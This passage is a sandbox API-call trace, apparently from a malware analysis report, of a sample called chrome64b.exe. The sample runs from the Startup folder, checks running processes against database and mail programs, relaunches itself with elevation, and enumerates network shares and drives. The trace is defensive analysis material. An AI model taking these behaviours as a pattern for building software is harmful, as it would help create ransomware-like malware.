dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0273.940] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b8 [0273.941] Process32FirstW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.942] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.942] lstrlenW (lpString="System") returned 6 [0273.942] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0273.942] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0273.942] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0273.942] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0273.942] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0273.942] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0273.942] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0273.942] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.942] lstrlenW (lpString="smss.exe") returned 8 [0273.942] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0273.943] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0273.943] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0273.943] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0273.943] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0273.943] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0273.943] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0273.943] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.943] lstrlenW (lpString="csrss.exe") returned 9 [0273.943] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0273.943] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0273.943] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0273.943] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0273.943] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0273.943] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0273.943] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0273.943] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.943] lstrlenW (lpString="wininit.exe") returned 11 [0273.943] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0273.943] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0273.944] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0273.944] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0273.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0273.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0273.944] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0273.944] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.944] lstrlenW (lpString="csrss.exe") returned 9 [0273.944] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0273.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0273.944] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0273.944] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0273.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0273.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0273.944] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.944] lstrlenW (lpString="winlogon.exe") returned 12 [0273.944] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.945] lstrlenW (lpString="services.exe") returned 12 [0273.945] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.945] lstrlenW (lpString="lsass.exe") returned 9 [0273.945] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.945] lstrlenW (lpString="lsm.exe") returned 7 [0273.945] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.945] lstrlenW (lpString="svchost.exe") returned 11 [0273.945] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.946] lstrlenW (lpString="svchost.exe") returned 11 [0273.946] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.946] lstrlenW (lpString="svchost.exe") returned 11 [0273.946] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.946] lstrlenW (lpString="svchost.exe") returned 11 [0273.946] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.946] lstrlenW (lpString="svchost.exe") returned 11 [0273.946] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.947] lstrlenW (lpString="audiodg.exe") returned 11 [0273.947] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.947] lstrlenW (lpString="svchost.exe") returned 11 [0273.947] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.947] lstrlenW (lpString="svchost.exe") returned 11 [0273.947] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0273.947] lstrlenW (lpString="userinit.exe") returned 12 [0273.947] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.948] lstrlenW (lpString="dwm.exe") returned 7 [0273.948] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.948] lstrlenW (lpString="explorer.exe") returned 12 [0273.948] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.948] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.948] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.948] lstrlenW (lpString="taskhost.exe") returned 12 [0273.948] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.949] lstrlenW (lpString="svchost.exe") returned 11 [0273.949] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0273.949] lstrlenW (lpString="chrome64b.exe") returned 13 [0273.949] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0273.949] lstrlenW (lpString="reader_sl.exe") returned 13 [0273.949] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.949] lstrlenW (lpString="taskhost.exe") returned 12 [0273.949] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0273.950] lstrlenW (lpString="consent.exe") returned 11 [0273.950] Process32NextW (in: hSnapshot=0x3b8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0273.950] CloseHandle (hObject=0x3b8) returned 1 [0273.950] Sleep (dwMilliseconds=0x1f4) Thread: id = 86 os_tid = 0x66c [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x594e30 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x59f8f8 [0256.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x594e60 [0256.252] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594e60, Size=0x20) returned 0x579ee8 [0256.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x594e60 [0256.252] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594e60, Size=0x20) returned 0x579f10 [0256.252] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0256.252] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0256.252] Wow64DisableWow64FsRedirection (in: OldValue=0x222ff28 | out: OldValue=0x222ff28*=0x0) returned 1 [0256.252] lstrlenW (lpString="kernel32.dll") returned 12 [0256.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579ee8 | out: hHeap=0x540000) returned 1 [0256.252] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0256.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579f10 | out: hHeap=0x540000) returned 1 [0256.252] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x59f8f8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe")) returned 0x69 [0256.252] ShellExecuteExW (pExecInfo=0x222ff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 87 os_tid = 0x670 [0256.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x594ea8 [0256.254] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594ea8, Size=0x20) returned 0x579f10 [0256.254] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579f10, Size=0x40) returned 0x57ae88 [0256.254] GetLogicalDrives () returned 0x4 [0256.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5d3f20 [0256.255] GetComputerNameW (in: lpBuffer=0x5d3f24, nSize=0x232ff6c | out: lpBuffer="XDUWTFONO", nSize=0x232ff6c) returned 1 [0256.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x59b818 [0256.255] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x232ff3c | out: lphEnum=0x232ff3c*=0x57a4e0) returned 0x0 [0256.255] WNetEnumResourceW (in: hEnum=0x57a4e0, lpcCount=0x232ff38, lpBuffer=0x59b818, lpBufferSize=0x232ff40 | out: lpcCount=0x232ff38, lpBuffer=0x59b818, lpBufferSize=0x232ff40) returned 0x103 [0256.255] WNetCloseEnum (hEnum=0x57a4e0) returned 0x0 [0256.255] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x232ff3c | out: lphEnum=0x232ff3c*=0x59e000) returned 0x0 [0257.671] WNetEnumResourceW (in: hEnum=0x59e000, lpcCount=0x232ff38, lpBuffer=0x59b818, lpBufferSize=0x232ff40 | out: lpcCount=0x232ff38, lpBuffer=0x59b818, lpBufferSize=0x232ff40) returned 0x0 [0257.671] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5b3900 [0257.671] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59b818, lphEnum=0x232ff10 | out: lphEnum=0x232ff10*=0x3b40948) returned 0x0 [0257.823] WNetEnumResourceW (in: hEnum=0x3b40948, lpcCount=0x232ff0c, lpBuffer=0x5b3900, lpBufferSize=0x232ff14 | out: lpcCount=0x232ff0c, lpBuffer=0x5b3900, lpBufferSize=0x232ff14) returned 0x103 [0257.823] WNetCloseEnum (hEnum=0x3b40948) returned 0x0 [0257.823] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x4572078 [0257.823] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59b838, lphEnum=0x232ff10 | out: lphEnum=0x232ff10*=0x0) returned 0x4b8 [0273.446] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x462c208 [0273.446] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x59b858, lphEnum=0x232ff10 | out: lphEnum=0x232ff10*=0x0) returned 0x4c6 [0273.446] WNetEnumResourceW (in: hEnum=0x59e000, lpcCount=0x232ff38, lpBuffer=0x59b818, lpBufferSize=0x232ff40 | out: lpcCount=0x232ff38, lpBuffer=0x59b818, lpBufferSize=0x232ff40) returned 0x103 [0273.446] WNetCloseEnum (hEnum=0x59e000) returned 0x0 [0273.446] GetLogicalDrives () returned 0x4 [0273.446] Sleep (dwMilliseconds=0x64) [0273.579] GetLogicalDrives () returned 0x4 [0273.579] Sleep (dwMilliseconds=0x64) [0273.859] GetLogicalDrives () returned 0x4 [0273.859] Sleep (dwMilliseconds=0x64) [0273.977] GetLogicalDrives () returned 0x4 [0273.977] Sleep (dwMilliseconds=0x64) Thread: id = 88 os_tid = 0x674 [0257.418] GetTickCount () returned 0x6e5b [0257.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x597848 [0257.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0257.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0257.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0257.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0257.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595010 [0257.630] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595010, Size=0x20) returned 0x57a028 [0257.630] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595010 [0257.630] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595010, Size=0x20) returned 0x59d310 [0257.631] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.651] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.651] Wow64DisableWow64FsRedirection (in: OldValue=0x242ff84 | out: OldValue=0x242ff84*=0x0) returned 1 [0257.651] lstrlenW (lpString="kernel32.dll") returned 12 [0257.651] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57a028 | out: hHeap=0x540000) returned 1 [0257.651] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.652] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59d310 | out: hHeap=0x540000) returned 1 [0257.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x57f0c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c [0257.653] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0257.847] GetTickCount () returned 0x6f55 [0257.849] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.056] GetTickCount () returned 0x7020 [0258.056] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.222] GetTickCount () returned 0x70cb [0258.222] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.379] GetTickCount () returned 0x7167 [0258.379] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.690] GetTickCount () returned 0x7290 [0258.690] GetTickCount () returned 0x7290 [0258.690] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0258.883] GetTickCount () returned 0x734b [0258.883] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0259.132] GetTickCount () returned 0x7435 [0259.132] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0259.378] GetTickCount () returned 0x751f [0259.378] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0259.554] GetTickCount () returned 0x75da [0259.554] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0259.779] GetTickCount () returned 0x76b4 [0259.779] GetTickCount () returned 0x76b4 [0259.779] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0259.905] GetTickCount () returned 0x7722 [0259.905] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0260.117] GetTickCount () returned 0x77fc [0260.117] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0260.438] GetTickCount () returned 0x7924 [0260.438] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0260.740] GetTickCount () returned 0x7a5d [0260.740] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0260.844] GetTickCount () returned 0x7aba [0260.844] GetTickCount () returned 0x7aba [0260.844] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0260.958] GetTickCount () returned 0x7b27 [0260.958] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0261.540] GetTickCount () returned 0x7d69 [0261.540] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0261.837] GetTickCount () returned 0x7e81 [0261.837] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0262.140] GetTickCount () returned 0x7faa [0262.140] GetTickCount () returned 0x7faa [0262.140] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0262.440] GetTickCount () returned 0x80d2 [0262.441] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0262.785] GetTickCount () returned 0x8229 [0262.785] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0262.971] GetTickCount () returned 0x82d5 [0262.971] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0263.342] GetTickCount () returned 0x843c [0263.342] GetTickCount () returned 0x843c [0263.342] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0263.481] GetTickCount () returned 0x84c8 [0263.481] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0263.723] GetTickCount () returned 0x85b2 [0263.723] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0263.918] GetTickCount () returned 0x866d [0263.918] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0264.088] GetTickCount () returned 0x8719 [0264.088] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0264.230] GetTickCount () returned 0x87a5 [0264.230] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0264.390] GetTickCount () returned 0x8841 [0264.390] GetTickCount () returned 0x8841 [0264.390] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0264.536] GetTickCount () returned 0x88ce [0264.536] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0264.726] GetTickCount () returned 0x8989 [0264.726] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0264.855] GetTickCount () returned 0x8a06 [0264.855] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0265.076] GetTickCount () returned 0x8ae0 [0265.076] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0265.262] GetTickCount () returned 0x8b9b [0265.262] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0265.546] GetTickCount () returned 0x8cb4 [0265.546] GetTickCount () returned 0x8cb4 [0265.546] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0265.780] GetTickCount () returned 0x8d9e [0265.780] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0266.000] GetTickCount () returned 0x8e79 [0266.000] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0266.271] GetTickCount () returned 0x8f91 [0266.272] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0266.482] GetTickCount () returned 0x905c [0266.482] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0266.600] GetTickCount () returned 0x90d9 [0266.600] GetTickCount () returned 0x90d9 [0266.600] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0266.725] GetTickCount () returned 0x9156 [0266.725] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0266.854] GetTickCount () returned 0x91d3 [0266.854] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 0x102 [0267.068] GetTickCount () returned 0x92ad [0267.068] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x64) returned 